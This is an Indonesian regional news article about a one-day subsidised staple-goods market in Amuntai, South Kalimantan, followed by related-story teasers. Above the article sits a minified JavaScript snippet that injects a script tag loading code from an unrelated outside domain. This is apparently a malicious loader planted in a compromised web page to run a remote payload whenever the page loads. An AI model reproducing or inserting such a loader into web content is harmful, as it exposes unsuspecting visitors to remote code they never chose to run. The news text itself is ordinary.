(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Ratusan warga menyerbu pasar murah yang digelar Dinas Perdagangan Kalsel bekerjasama dengan Disperindagkop UKM Kabupaten Hulu Sungai Utara (HSU) di kawasan terminal Palampitan, Amuntai, Jumat (6/12).
Pasar murah ini menyediakan berbagai paket sembako seperti beras, gula pasir, minyak goreng, tepung terigu dan lain-lain yang tentunya jual dengan harga miring dibandingkan harga dipasaran pada umumnya. “Beli di pasar murah ini lebih murah dibandingkan dengan dipasar, selisihnya kurang lebih Rp 2 ribu-Rp 3 ribu lebih,” ungkap Indah, salah satu warga kepada kanalkalimantan.com.
Meski harga sembako di pasaran belum mengalami peningkatan, namun menurut Indah, kegitan ini sudah cukup membantu masyarakat terutama jelang tahun baru yang biasanya mengalami peningkatan harga.
Sementara itu, Rizki Adjani Fadila menuturkan, bahwa operasi Pasar murah ini digelar dalam rangka jelang Natal dan tahun baru 2020. “Tetapi disamping membantu masyarakat dengan menjual harga yang murah melalui distributor hal ini juga sebagai tindakan pengendalian inflasi terutama jelang akhir tahun ini,†ungkap Kepala seksi Barang Kebutuhan Pokok dan Barang Penting Bidang Perdangangan Dalam Negeri Dinas Perdagangan Provinsi Kalsel ini disela kegiatan.
Selain itu, dalam setiap kegiatannya Dinas Perdagangan provinsi Kalsel juga selalu melibatkan distributor-distributor besar seperti bulog, Indofood, Nestle ,Wings dan UKM-UKM lainnya. Ia menyebut, pasar murah ini tentunya juga bakal di gelar Dinas Perdagangan Provinsi Kalsel di 13 Kabupaten/ Kota berbeda jelang akhir tahun ini. “Kegiatan pasar murah ini berlangsung selama satu hari saja. Bebas siapa saja boleh membeli, tapi dibatasi jumlahnya,†terangnya.
Beberapa produk yang di tawarkan tepung terigu dengan harga Rp 11 ribu, gula 1 kg Rp 12 ribu, minyak dengan kapasitas 2 Liter seharga Rp 20 ribu, Kecap Manis botol seharga Rp 24 ribu, Pop mie dan minuman dalam 1 Kemasan Rp 10 ribu, Daging 1 kg Rp 80 ribu dan sabun pencuci piring Rp 10 ribu.
Selain Dinas Perdagangan Provinsi Kalimantan turut hadir langsung, Kodim 1001/Amuntai Balangan bersama Ibu-ibu Persit Chandra Kirana dan Satpol PP HSU. (dew)
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.